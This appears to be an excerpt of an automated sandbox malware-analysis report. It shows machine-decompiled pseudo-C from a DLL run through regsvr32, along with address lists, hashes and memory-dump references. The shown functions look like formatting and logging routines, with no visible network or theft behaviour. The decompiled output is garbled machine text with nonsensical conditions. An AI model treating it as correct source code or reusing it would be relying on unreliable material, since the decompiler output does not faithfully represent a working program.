				if (r15d !=  *(_t268 + 0x48)) goto 0x80049b53;
				goto 0x80049bc8;
				 *_t302 =  *_t302 | 0xffffffff;
				r15d = 0;
				goto 0x80049be9;
				r8d =  *(_t268 + 0x48);
				_t288 = _t327;
				 *((long long*)(_t310 + 0x20)) =  *((intOrPtr*)(_t268 + 8));
				E0000000118005181C(_t151, _t190, _t268, _t288, _t304, _t307, _t302);
				_t171 =  *_t302;
				if (_t171 < 0) goto 0x80049c4e;
				if ((r13b & 0) == 0) goto 0x80049c4e;
				r8d = r15d;
				if (_t190 <= 0) goto 0x80049c4e;
				r9d = 0x20;
				_t300 =  *_t327;
				if ( *((intOrPtr*)(_t300 + 0x10)) !=  *((intOrPtr*)(_t300 + 8))) goto 0x80049c25;
				if ( *((intOrPtr*)(_t300 + 0x18)) == r15b) goto 0x80049c1e;
				goto 0x80049c21;
				 *_t302 = _t171 + 0x00000001 | 0xffffffff;
				goto 0x80049c3f;
				_t110 =  &(_t288[0]); // 0x21
				 *_t302 = _t110;
				 *((intOrPtr*)(_t300 + 0x10)) =  *((intOrPtr*)(_t300 + 0x10)) + _t324;
				 *( *( *_t327)) = r9w;
				 *( *_t327) =  &(( *( *_t327))[0]);
				if ( *_t302 == 0xffffffff) goto 0x80049c4e;
				r8d = r8d + r13d;
				if (r8d - _t190 < 0) goto 0x80049c07;
				return E000000011800149A0(r13b,  *_t302,  *(_t310 + 0x40) ^ _t310);
			}







































                                                                                                        0x1800497ec
                                                                                                        0x1800497ec
                                                                                                        0x1800497ec
                                                                                                        0x1800497ec
                                                                                                        0x1800497ec
                                                                                                        0x1800497f1
                                                                                                        0x1800497f6
                                                                                                        0x1800497fb
                                                                                                        0x180049804
                                                                                                        0x180049808
                                                                                                        0x180049812
                                                                                                        0x18004981c
                                                                                                        0x18004981f
                                                                                                        0x180049823
                                                                                                        0x180049823
                                                                                                        0x180049826
                                                                                                        0x180049826
                                                                                                        0x18004982a
                                                                                                        0x18004982a
                                                                                                        0x18004982d
                                                                                                        0x180049830
                                                                                                        0x180049832
                                                                                                        0x180049838
                                                                                                        0x18004983b
                                                                                                        0x18004983d
                                                                                                        0x180049845
                                                                                                        0x18004984a
                                                                                                        0x18004984f
                                                                                                        0x180049851
                                                                                                        0x180049854
                                                                                                        0x180049859
                                                                                                        0x180049862
                                                                                                        0x180049867
                                                                                                        0x18004986e
                                                                                                        0x180049877
                                                                                                        0x18004987c
                                                                                                        0x180049881
                                                                                                        0x18004988c
                                                                                                        0x180049891
                                                                                                        0x180049899
                                                                                                        0x18004989e
                                                                                                        0x1800498a3
                                                                                                        0x1800498a6
                                                                                                        0x1800498a8
                                                                                                        0x1800498ad
                                                                                                        0x1800498b2
                                                                                                        0x1800498b7
                                                                                                        0x1800498bc
                                                                                                        0x1800498c1
                                                                                                        0x1800498c6
                                                                                                        0x1800498cb
                                                                                                        0x1800498cd
                                                                                                        0x1800498d6
                                                                                                        0x1800498db
                                                                                                        0x1800498dd
                                                                                                        0x1800498e8
                                                                                                        0x1800498ea
                                                                                                        0x1800498ee
                                                                                                        0x1800498f6
                                                                                                        0x1800498fb
                                                                                                        0x180049900
                                                                                                        0x180049905
                                                                                                        0x18004990a
                                                                                                        0x18004990e
                                                                                                        0x180049912
                                                                                                        0x180049917
                                                                                                        0x18004991c
                                                                                                        0x18004991e
                                                                                                        0x180049925
                                                                                                        0x18004992c
                                                                                                        0x180049932
                                                                                                        0x180049937
                                                                                                        0x18004993c
                                                                                                        0x180049940
                                                                                                        0x18004994c
                                                                                                        0x180049955
                                                                                                        0x18004995f
                                                                                                        0x180049965
                                                                                                        0x18004996a
                                                                                                        0x180049971
                                                                                                        0x180049976
                                                                                                        0x180049984
                                                                                                        0x18004998e
                                                                                                        0x180049994
                                                                                                        0x180049999
                                                                                                        0x18004999e
                                                                                                        0x1800499a5
                                                                                                        0x1800499ae
                                                                                                        0x1800499b0
                                                                                                        0x1800499b6
                                                                                                        0x1800499b9
                                                                                                        0x1800499be
                                                                                                        0x1800499cf
                                                                                                        0x1800499d3
                                                                                                        0x1800499dc
                                                                                                        0x1800499de
                                                                                                        0x1800499e5
                                                                                                        0x1800499f8
                                                                                                        0x1800499fc
                                                                                                        0x1800499fe
                                                                                                        0x180049a08
                                                                                                        0x180049a0e
                                                                                                        0x180049a13
                                                                                                        0x180049a21
                                                                                                        0x180049a27
                                                                                                        0x180049a29
                                                                                                        0x180049a2e
                                                                                                        0x180049a30
                                                                                                        0x180049a34
                                                                                                        0x180049a43
                                                                                                        0x180049a49
                                                                                                        0x180049a4b
                                                                                                        0x180049a4e
                                                                                                        0x180049a50
                                                                                                        0x180049a54
                                                                                                        0x180049a58
                                                                                                        0x180049a5e
                                                                                                        0x180049a61
                                                                                                        0x180049a6f
                                                                                                        0x180049a7a
                                                                                                        0x180049a7e
                                                                                                        0x180049a86
                                                                                                        0x180049a88
                                                                                                        0x180049a8e
                                                                                                        0x180049a94
                                                                                                        0x180049a94
                                                                                                        0x180049a98
                                                                                                        0x180049a9b
                                                                                                        0x180049aa0
                                                                                                        0x180049aa0
                                                                                                        0x180049aad
                                                                                                        0x180049ab2
                                                                                                        0x180049ac2
                                                                                                        0x180049aca
                                                                                                        0x180049acc
                                                                                                        0x180049ad1
                                                                                                        0x180049ad5
                                                                                                        0x180049ae0
                                                                                                        0x180049ae6
                                                                                                        0x180049aea
                                                                                                        0x180049aef
                                                                                                        0x180049af1
                                                                                                        0x180049af6
                                                                                                        0x180049af8
                                                                                                        0x180049b02
                                                                                                        0x180049b09
                                                                                                        0x180049b12
                                                                                                        0x180049b14
                                                                                                        0x180049b1a
                                                                                                        0x180049b20
                                                                                                        0x180049b2a
                                                                                                        0x180049b30
                                                                                                        0x180049b38
                                                                                                        0x180049b3d
                                                                                                        0x180049b46
                                                                                                        0x180049b4d
                                                                                                        0x180049b57
                                                                                                        0x180049b5c
                                                                                                        0x180049b6d
                                                                                                        0x180049b72
                                                                                                        0x180049b7a
                                                                                                        0x180049b7c
                                                                                                        0x180049b7f
                                                                                                        0x180049b8d
                                                                                                        0x180049b93
                                                                                                        0x180049b95
                                                                                                        0x180049b98
                                                                                                        0x180049b9a
                                                                                                        0x180049b9d
                                                                                                        0x180049b9f
                                                                                                        0x180049ba2
                                                                                                        0x180049bac
                                                                                                        0x180049bb3
                                                                                                        0x180049bba
                                                                                                        0x180049bc1
                                                                                                        0x180049bc3
                                                                                                        0x180049bc5
                                                                                                        0x180049bc8
                                                                                                        0x180049bcb
                                                                                                        0x180049bd4
                                                                                                        0x180049bd8
                                                                                                        0x180049bdf
                                                                                                        0x180049be4
                                                                                                        0x180049be9
                                                                                                        0x180049bed
                                                                                                        0x180049bf8
                                                                                                        0x180049bfa
                                                                                                        0x180049bff
                                                                                                        0x180049c01
                                                                                                        0x180049c07
                                                                                                        0x180049c12
                                                                                                        0x180049c18
                                                                                                        0x180049c1c
                                                                                                        0x180049c21
                                                                                                        0x180049c23
                                                                                                        0x180049c25
                                                                                                        0x180049c28
                                                                                                        0x180049c2a
                                                                                                        0x180049c34
                                                                                                        0x180049c3b
                                                                                                        0x180049c44
                                                                                                        0x180049c46
                                                                                                        0x180049c4c
                                                                                                        0x180049c7b

                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: 0
                                                                                                        • API String ID: 0-4108050209
                                                                                                        • Opcode ID: c1cf050fe9c9d1584bef530d35e5c1f0520aff6363fc87ede0d6187c27033665
                                                                                                        • Instruction ID: 4de65796d7bebb8e2792c19686f3ee1eab345551dffd687900b0a49f2fafcc46
                                                                                                        • Opcode Fuzzy Hash: c1cf050fe9c9d1584bef530d35e5c1f0520aff6363fc87ede0d6187c27033665
                                                                                                        • Instruction Fuzzy Hash: E0E1E932206A4882EBFA8F6991C07AD33A0F74DBDCF16D129EE0517694DF35CA59C348
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180047064 Relevance: 1.6, Strings: 1, Instructions: 321COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 38%
                                                                                                        			E00000001180047064(long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, void* __r8, void* __r10, long long _a16, long long _a24, long long _a32) {
				void* _v40;
				signed int _v56;
				char _v68;
				char _v70;
				signed int _v72;
				long long _v88;
				void* __rbp;
				void* _t125;
				unsigned int _t163;
				intOrPtr _t164;
				signed char _t178;
				void* _t179;
				char _t186;
				void* _t190;
				signed char _t200;
				void* _t209;
				void* _t210;
				signed int _t259;
				signed long long _t272;
				intOrPtr _t281;
				void* _t287;
				void* _t289;
				void* _t290;
				intOrPtr* _t291;
				long long _t303;
				long long _t308;
				signed int* _t309;
				void* _t312;
				void* _t316;
				void* _t317;
				void* _t320;
				void* _t327;
				intOrPtr _t330;
				void* _t333;
				intOrPtr* _t335;

				_t327 = __r10;
				_t320 = __r8;
				_t311 = __rsi;
				_t308 = __rdi;
				_t289 = __rcx;
				_a16 = __rbx;
				_a24 = __rsi;
				_a32 = __rdi;
				_t316 = _t317;
				_t318 = _t317 - 0x50;
				_t272 =  *0x800d81f8; // 0x68308725f9ca
				_v56 = _t272 ^ _t317 - 0x00000050;
				_t186 =  *((char*)(__rcx + 0x39));
				_t287 = __rcx;
				_t6 = _t308 - 0x77; // 0x1
				r13d = _t6;
				_t209 = _t186 - 0x64;
				if (_t209 > 0) goto 0x80047110;
				if (_t209 == 0) goto 0x80047137;
				_t210 = _t186 - 0x53;
				if (_t210 > 0) goto 0x800470de;
				if (_t210 == 0) goto 0x8004717b;
				if (_t210 == 0) goto 0x800470d4;
				if (_t210 == 0) goto 0x800470fa;
				if (_t210 == 0) goto 0x800470d4;
				_t190 = _t186 - 0x3d - r13d;
				if (_t210 == 0) goto 0x800470d4;
				if (_t190 != r13d) goto 0x8004719c;
				_t125 = E0000000118004ADD4(_t190, 0x78, __rcx, __rcx, __rsi, _t316);
				goto 0x80047198;
				if (_t190 == 0x58) goto 0x80047190;
				if (_t190 == 0x5a) goto 0x80047106;
				if (_t190 == 0x61) goto 0x800470d4;
				if (_t190 != 0x63) goto 0x8004719c;
				E0000000118004C9C4(_t125, _t190 - 0x63, __rcx, __rcx, _t311);
				goto 0x80047198;
				E0000000118004A58C(_t190 - 0x63, _t289);
				goto 0x80047198;
				if (0 - 0x6f > 0) goto 0x80047164;
				if (0 == 0x6f) goto 0x80047144;
				if (0 == 0x6f) goto 0x800470d4;
				if (0 == 0x6f) goto 0x800470d4;
				if (0 == 0x6f) goto 0x800470d4;
				if (0 == 0x6f) goto 0x80047137;
				if (0xffffffffffffff9b - r13d - r13d - 2 != 5) goto 0x8004719c;
				E0000000118004D4C0(0xffffffffffffff9b - r13d - r13d - 2 - 5, _t289, _t311, _t316, _t327);
				goto 0x80047198;
				 *(_t289 + 0x28) =  *(_t289 + 0x28) | 0x00000010;
				E00000001180038530(0, _t287, _t289, _t311, _t320, _t327);
				goto 0x80047198;
				_t163 =  *(_t289 + 0x28);
				if ((r13b & _t163 >> 0x00000005) == 0) goto 0x80047158;
				asm("bts ecx, 0x7");
				 *(_t287 + 0x28) = _t163;
				_t290 = _t287;
				E00000001180036C30(0, _t287, _t290, _t311, _t320, _t327);
				goto 0x80047198;
				if (0 == 0x70) goto 0x80047182;
				if (0 == 0x73) goto 0x8004717b;
				if (0 == 0x75) goto 0x8004713b;
				if (0 != 0x78) goto 0x8004719c;
				goto 0x80047193;
				E0000000118004E064(0 - 0x78, _t287, _t290);
				goto 0x80047198;
				 *((intOrPtr*)(_t290 + 0x30)) = 0x10;
				 *((intOrPtr*)(_t290 + 0x34)) = 0xb;
				if (E00000001180039E30(r13b, _t287, _t290, _t311, _t320, _t327) != 0) goto 0x800471a3;
				goto 0x800474a1;
				if ( *((intOrPtr*)(_t287 + 0x474)) != 2) goto 0x800471b9;
				if ( *((intOrPtr*)(_t287 + 0x470)) == r13d) goto 0x8004749e;
				if ( *((char*)(_t287 + 0x38)) != 0) goto 0x8004749e;
				_t200 =  *(_t287 + 0x28);
				_v72 = 0;
				_v70 = 0;
				if ((r13b & 0) == 0) goto 0x80047206;
				if ((r13b & 0) == 0) goto 0x800471eb;
				_v72 = 0x2d;
				goto 0x80047203;
				if ((r13b & _t200) == 0) goto 0x800471f6;
				_v72 = 0x2b;
				goto 0x80047203;
				if ((r13b & 0) == 0) goto 0x80047206;
				_v72 = 0x20;
				_t312 = _t333;
				_t164 =  *((intOrPtr*)(_t287 + 0x39));
				if (0 != 0) goto 0x8004721f;
				if ((r13b & 0) == 0) goto 0x8004721f;
				r8b = r13b;
				goto 0x80047222;
				r8b = 0;
				if (r8b != 0) goto 0x80047233;
				if (0 == 0) goto 0x8004724e;
				 *((char*)(_t316 + _t312 - 0x20)) = 0x30;
				if (_t164 == 0x58) goto 0x80047242;
				if (_t164 != 0x41) goto 0x80047245;
				dil = 0x58;
				 *((intOrPtr*)(_t316 + _t312 - 0x1f)) = dil;
				r15d =  *((intOrPtr*)(_t287 + 0x2c));
				r15d = r15d;
				r15d = r15d -  *(_t287 + 0x48);
				if ((_t200 & 0x0000000c) != 0) goto 0x800472bf;
				if (r15d <= 0) goto 0x800472bf;
				if ((r13b &  *( *((intOrPtr*)(_t287 + 0x460)) + 0x14) >> 0x0000000c) == 0) goto 0x8004728a;
				if ( *((long long*)( *((intOrPtr*)(_t287 + 0x460)) + 8)) == 0) goto 0x800472a3;
				if (E0000000118005DBA8(0x20,  *((long long*)( *((intOrPtr*)(_t287 + 0x460)) + 8)),  *((intOrPtr*)(_t287 + 0x460))) == 0xffffffff) goto 0x800472bb;
				 *(_t287 + 0x20) = _t290 + 1;
				if ( *(_t287 + 0x20) == 0xfffffffe) goto 0x800472bf;
				if (0 + r13d - r15d < 0) goto 0x80047269;
				goto 0x800472bf;
				 *(_t287 + 0x20) =  *(_t287 + 0x20) | 0xffffffff;
				_t65 = _t287 + 0x460; // 0x4b8
				_t335 = _t65;
				_t66 = _t287 + 0x20; // 0x78
				_t309 = _t66;
				if ((r13b &  *( *_t335 + 0x14) >> 0x0000000c) == 0) goto 0x800472eb;
				if ( *((long long*)( *_t335 + 8)) != 0) goto 0x800472eb;
				 *_t309 =  *_t309;
				goto 0x80047302;
				_v88 =  *((intOrPtr*)(_t287 + 8));
				r8d = 0;
				_t291 = _t335;
				0x800518c4();
				if ((r13b & 0) == 0) goto 0x80047369;
				if ((r13b &  *(_t287 + 0x28) >> 0x00000002) != 0) goto 0x80047369;
				_t330 =  *((intOrPtr*)(_t287 + 8));
				if (r15d <= 0) goto 0x80047369;
				if ((r13b &  *( *_t335 + 0x14) >> 0x0000000c) == 0) goto 0x8004733b;
				if ( *((long long*)( *_t335 + 8)) == 0) goto 0x80047350;
				if (E0000000118005DBA8(0x30,  *((long long*)( *_t335 + 8)),  *_t335) == 0xffffffff) goto 0x80047366;
				 *_t309 = _t291 + 1;
				if ( *_t309 == 0xfffffffe) goto 0x80047369;
				if (0 + r13d - r15d < 0) goto 0x80047322;
				goto 0x80047369;
				 *_t309 =  *_t309 | 0xffffffff;
				if ( *((char*)(_t287 + 0x4c)) == 0) goto 0x800473ff;
				if ( *(_t287 + 0x48) <= 0) goto 0x800473ff;
				r9d =  *( *(_t287 + 0x40)) & 0x0000ffff;
				_v72 = _v72 & 0x00000000;
				r8d = 6;
				_v88 =  *((intOrPtr*)(_t287 + 8));
				if (E0000000118005CBE0( *((intOrPtr*)(_t287 + 8)), _t287,  &_v72,  &_v68, _t316, _t330) != 0) goto 0x800473fa;
				r8d = _v72;
				if (r8d == 0) goto 0x800473fa;
				_t281 =  *_t335;
				_t303 =  *((intOrPtr*)(_t287 + 8));
				_t178 =  *(_t281 + 0x14) >> 0xc;
				_t259 = r13b & _t178;
				if (_t259 == 0) goto 0x800473dc;
				_t179 =  >=  ?  *((void*)(_t287 + 0x78834806)) : _t178;
				if (_t259 != 0) goto 0x800473dc;
				 *_t309 =  *_t309 + r8d;
				goto 0x800473f0;
				_v88 = _t303;
				0x800518c4();
				if (0 + r13d !=  *(_t287 + 0x48)) goto 0x80047383;
				goto 0x8004743c;
				 *_t309 =  *_t309 | 0xffffffff;
				goto 0x8004743c;
				r8d =  *(_t287 + 0x48);
				if ((r13b &  *( *_t335 + 0x14) >> 0x0000000c) == 0) goto 0x80047429;
				if ( *((long long*)( *_t335 + 8)) != 0) goto 0x80047429;
				 *_t309 =  *_t309 + r8d;
				goto 0x8004743c;
				_v88 =  *((intOrPtr*)(_t287 + 8));
				0x800518c4();
				if ( *_t309 < 0) goto 0x8004749e;
				if ((r13b & 0) == 0) goto 0x8004749e;
				if (r15d <= 0) goto 0x8004749e;
				if ((r13b &  *( *_t335 + 0x14) >> 0x0000000c) == 0) goto 0x80047470;
				if ( *((long long*)( *_t335 + 8)) == 0) goto 0x80047485;
				if (E0000000118005DBA8(0x20,  *((long long*)( *_t335 + 8)),  *_t335) == 0xffffffff) goto 0x8004749b;
				 *_t309 = _t335 + 1;
				if ( *_t309 == 0xfffffffe) goto 0x8004749e;
				if (0 + r13d - r15d < 0) goto 0x80047457;
				goto 0x8004749e;
				 *_t309 =  *_t309 | 0xffffffff;
				return E000000011800149A0(r13b,  *_t309, _v56 ^ _t318);
			}






































                                                                                                        0x180047064
                                                                                                        0x180047064
                                                                                                        0x180047064
                                                                                                        0x180047064
                                                                                                        0x180047064
                                                                                                        0x180047064
                                                                                                        0x180047069
                                                                                                        0x18004706e
                                                                                                        0x18004707c
                                                                                                        0x18004707f
                                                                                                        0x180047083
                                                                                                        0x18004708d
                                                                                                        0x180047091
                                                                                                        0x18004709a
                                                                                                        0x18004709d
                                                                                                        0x18004709d
                                                                                                        0x1800470a1
                                                                                                        0x1800470a4
                                                                                                        0x1800470a6
                                                                                                        0x1800470ac
                                                                                                        0x1800470af
                                                                                                        0x1800470b1
                                                                                                        0x1800470ba
                                                                                                        0x1800470bf
                                                                                                        0x1800470c4
                                                                                                        0x1800470c6
                                                                                                        0x1800470c9
                                                                                                        0x1800470ce
                                                                                                        0x1800470d4
                                                                                                        0x1800470d9
                                                                                                        0x1800470e1
                                                                                                        0x1800470ea
                                                                                                        0x1800470ef
                                                                                                        0x1800470f4
                                                                                                        0x1800470fc
                                                                                                        0x180047101
                                                                                                        0x180047106
                                                                                                        0x18004710b
                                                                                                        0x180047113
                                                                                                        0x180047115
                                                                                                        0x18004711a
                                                                                                        0x18004711f
                                                                                                        0x180047124
                                                                                                        0x180047129
                                                                                                        0x18004712e
                                                                                                        0x180047130
                                                                                                        0x180047135
                                                                                                        0x180047137
                                                                                                        0x18004713d
                                                                                                        0x180047142
                                                                                                        0x180047144
                                                                                                        0x18004714f
                                                                                                        0x180047151
                                                                                                        0x180047155
                                                                                                        0x18004715a
                                                                                                        0x18004715d
                                                                                                        0x180047162
                                                                                                        0x180047167
                                                                                                        0x18004716c
                                                                                                        0x180047171
                                                                                                        0x180047175
                                                                                                        0x180047179
                                                                                                        0x18004717b
                                                                                                        0x180047180
                                                                                                        0x180047182
                                                                                                        0x180047189
                                                                                                        0x18004719a
                                                                                                        0x18004719e
                                                                                                        0x1800471aa
                                                                                                        0x1800471b3
                                                                                                        0x1800471bd
                                                                                                        0x1800471c3
                                                                                                        0x1800471c8
                                                                                                        0x1800471ce
                                                                                                        0x1800471d9
                                                                                                        0x1800471e3
                                                                                                        0x1800471e5
                                                                                                        0x1800471e9
                                                                                                        0x1800471ee
                                                                                                        0x1800471f0
                                                                                                        0x1800471f4
                                                                                                        0x1800471fd
                                                                                                        0x1800471ff
                                                                                                        0x180047203
                                                                                                        0x180047206
                                                                                                        0x18004720e
                                                                                                        0x180047218
                                                                                                        0x18004721a
                                                                                                        0x18004721d
                                                                                                        0x18004721f
                                                                                                        0x18004722d
                                                                                                        0x180047231
                                                                                                        0x180047233
                                                                                                        0x18004723b
                                                                                                        0x180047240
                                                                                                        0x180047242
                                                                                                        0x180047245
                                                                                                        0x18004724e
                                                                                                        0x180047252
                                                                                                        0x180047255
                                                                                                        0x18004725c
                                                                                                        0x180047267
                                                                                                        0x18004727a
                                                                                                        0x180047288
                                                                                                        0x1800472a1
                                                                                                        0x1800472a9
                                                                                                        0x1800472af
                                                                                                        0x1800472b7
                                                                                                        0x1800472b9
                                                                                                        0x1800472bb
                                                                                                        0x1800472c3
                                                                                                        0x1800472c3
                                                                                                        0x1800472cd
                                                                                                        0x1800472cd
                                                                                                        0x1800472db
                                                                                                        0x1800472e5
                                                                                                        0x1800472e7
                                                                                                        0x1800472e9
                                                                                                        0x1800472eb
                                                                                                        0x1800472f7
                                                                                                        0x1800472fa
                                                                                                        0x1800472fd
                                                                                                        0x18004730d
                                                                                                        0x180047315
                                                                                                        0x180047317
                                                                                                        0x180047320
                                                                                                        0x18004732f
                                                                                                        0x180047339
                                                                                                        0x18004734e
                                                                                                        0x180047355
                                                                                                        0x18004735a
                                                                                                        0x180047362
                                                                                                        0x180047364
                                                                                                        0x180047366
                                                                                                        0x18004736d
                                                                                                        0x180047377
                                                                                                        0x18004738b
                                                                                                        0x180047394
                                                                                                        0x18004739d
                                                                                                        0x1800473a3
                                                                                                        0x1800473af
                                                                                                        0x1800473b1
                                                                                                        0x1800473b8
                                                                                                        0x1800473ba
                                                                                                        0x1800473bd
                                                                                                        0x1800473c5
                                                                                                        0x1800473c8
                                                                                                        0x1800473cb
                                                                                                        0x1800473cc
                                                                                                        0x1800473d5
                                                                                                        0x1800473d7
                                                                                                        0x1800473da
                                                                                                        0x1800473dc
                                                                                                        0x1800473eb
                                                                                                        0x1800473f6
                                                                                                        0x1800473f8
                                                                                                        0x1800473fa
                                                                                                        0x1800473fd
                                                                                                        0x180047406
                                                                                                        0x180047418
                                                                                                        0x180047422
                                                                                                        0x180047424
                                                                                                        0x180047427
                                                                                                        0x180047429
                                                                                                        0x180047437
                                                                                                        0x18004743f
                                                                                                        0x18004744a
                                                                                                        0x180047455
                                                                                                        0x180047464
                                                                                                        0x18004746e
                                                                                                        0x180047483
                                                                                                        0x18004748a
                                                                                                        0x18004748f
                                                                                                        0x180047497
                                                                                                        0x180047499
                                                                                                        0x18004749b
                                                                                                        0x1800474ca

                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: 0
                                                                                                        • API String ID: 0-4108050209
                                                                                                        • Opcode ID: fbe156bbbda4ed21490d58b0b58e6e5440a27107093d576482f49299d93fc18f
                                                                                                        • Instruction ID: 6ca17df74aec2198df75c79374f2a5c85c80cdfe850a6b3225b7afdefd86d4b6
                                                                                                        • Opcode Fuzzy Hash: fbe156bbbda4ed21490d58b0b58e6e5440a27107093d576482f49299d93fc18f
                                                                                                        • Instruction Fuzzy Hash: 2AD19172300E4885E7AA8E2985D43AE27A1E74DBDCF16C215FE09076D6CF35CA49C748
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 00000001800066D4 Relevance: 1.5, Strings: 1, Instructions: 248COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 57%
                                                                                                        			E000000011800066D4(void* __ecx, long long __rbx, long long __rcx, void* __rdx, long long __rdi, long long __rsi, void* __r8) {
				void* _t97;
				void* _t98;
				intOrPtr _t113;
				void* _t119;
				void* _t141;
				signed long long _t142;
				signed long long _t143;
				intOrPtr _t145;
				intOrPtr _t156;
				intOrPtr _t158;
				void* _t160;
				void* _t166;
				intOrPtr _t169;
				intOrPtr _t170;
				intOrPtr _t177;
				intOrPtr* _t178;
				intOrPtr _t184;
				intOrPtr _t185;
				intOrPtr* _t187;
				intOrPtr _t189;
				intOrPtr _t190;
				long long _t197;
				long long _t201;
				void* _t204;
				void* _t206;
				signed long long _t207;
				void* _t209;
				void* _t210;
				long long _t214;
				long long _t215;
				void* _t222;
				long long _t232;
				long long _t233;
				void* _t237;
				long long _t240;

				_t209 = __r8;
				_t141 = _t206;
				 *((long long*)(_t141 + 8)) = __rbx;
				 *((long long*)(_t141 + 0x18)) = __rsi;
				 *((long long*)(_t141 + 0x20)) = __rdi;
				_push(_t222);
				_push(_t232);
				_t204 = _t141 - 0x5f;
				_t207 = _t206 - 0xf0;
				asm("movaps [eax-0x38], xmm6");
				asm("movaps [eax-0x48], xmm7");
				_t142 =  *0x800d81f8; // 0x68308725f9ca
				_t143 = _t142 ^ _t207;
				 *(_t204 + 0xf) = _t143;
				_t166 = __rdx;
				 *((long long*)(_t204 - 0x59)) = __rcx;
				E00000001180005CCC();
				_t184 =  *((intOrPtr*)(__rdx + 0x120));
				r14d = 0;
				 *(_t204 - 0x61) = _t143;
				asm("xorps xmm0, xmm0");
				 *((long long*)(_t204 - 0x69)) = _t232;
				 *((long long*)(_t204 - 0x41)) = _t232;
				asm("movups [ebp-0x51], xmm0");
				if (_t184 == 0) goto 0x800067ac;
				_t169 =  *((intOrPtr*)(_t184 + 8));
				goto 0x8000674e;
				_t185 = _t169;
				_t170 =  *((intOrPtr*)(_t169 + 8));
				if (_t170 != 0) goto 0x80006747;
				if ( *((intOrPtr*)(_t185 + 0x7c)) == 1) goto 0x80006790;
				if ( *((intOrPtr*)(_t185 + 0x80)) == 1) goto 0x80006790;
				if ( *((intOrPtr*)(_t185 + 0x78)) != 1) goto 0x8000676e;
				if ( *((intOrPtr*)(__rdx + 0x14)) - 0x14 > 0) goto 0x80006790;
				_t171 =  !=  ? _t143 + 1 : _t170;
				_t145 =  *((intOrPtr*)(_t185 + 0x40));
				 *((intOrPtr*)(_t204 + ( !=  ? _t143 + 1 : _t170) * 8 - 0x51)) =  *((intOrPtr*)(_t204 + ( !=  ? _t143 + 1 : _t170) * 8 - 0x51)) + _t145;
				E0000000118000F3BC(_t185);
				_t186 = _t145;
				if (_t145 != 0) goto 0x80006753;
				_t233 =  *((intOrPtr*)(_t204 - 0x41));
				 *((long long*)(_t204 - 0x69)) = _t233;
				asm("xorps xmm1, xmm1");
				asm("movups [ebp-0x39], xmm1");
				r12d = 0;
				asm("xorps xmm0, xmm0");
				_t33 = _t186 + 1; // 0x1
				r8d = _t33;
				 *((intOrPtr*)(_t204 - 0x79)) = r8d;
				asm("movups [ebp-0x21], xmm0");
				asm("xorps xmm0, xmm0");
				_t113 =  *((intOrPtr*)(__rdx + 0x198));
				if (_t113 < 0) goto 0x800067e5;
				asm("repne dec eax");
				goto 0x800067fa;
				asm("repne dec eax");
				asm("addsd xmm0, xmm0");
				asm("mulsd xmm0, [ebx+0x118]");
				asm("divsd xmm0, [0xb416c]");
				asm("comisd xmm0, [0xb8b7c]");
				if (_t113 < 0) goto 0x80006835;
				asm("subsd xmm0, [0xb8b72]");
				asm("comisd xmm0, [0xb8b6a]");
				if (_t113 >= 0) goto 0x80006835;
				asm("repne dec eax");
				_t240 =  *((intOrPtr*)(_t204 - 0x51)) + 0 +  *((intOrPtr*)(_t204 - 0x39));
				 *((long long*)(_t204 - 9)) = _t240;
				_t197 = _t240 +  *((intOrPtr*)(_t204 - 0x49)) +  *((intOrPtr*)(_t204 - 0x31));
				 *((long long*)(_t204 - 1)) = _t197;
				asm("movups xmm7, [ebp-0x9]");
				_t201 = _t197 + _t233 + _t222;
				 *((long long*)(_t204 + 7)) = _t201;
				asm("movsd xmm6, [ebp+0x7]");
				if ( *((intOrPtr*)(_t204 - 0x21)) != _t240) goto 0x80006883;
				if ( *((intOrPtr*)(_t204 - 0x19)) != _t197) goto 0x80006883;
				if (_t145 == _t201) goto 0x80006a2c;
				 *((long long*)(_t207 + 0x38)) = _t201;
				 *((long long*)(_t207 + 0x30)) = _t197;
				 *((long long*)(_t207 + 0x28)) = _t240;
				 *((intOrPtr*)(_t207 + 0x20)) = r8d;
				r8d = 0;
				asm("movups [ebp-0x21], xmm7");
				asm("movsd [ebp-0x11], xmm6");
				_t49 = _t209 + 4; // 0x4
				E00000001180004968(0, _t49, 0,  *(_t204 - 0x61), _t145, __r8, L"Zone calculation, iteration %u: 0 - %I64d - %I64d - %I64d", _t237);
				asm("xorps xmm0, xmm0");
				_t187 = _t166 + 0x170;
				asm("movups [ebp-0x39], xmm0");
				_t214 =  *((intOrPtr*)(_t204 - 0x39));
				r12d = 0;
				 *((long long*)(_t204 - 0x71)) = _t214;
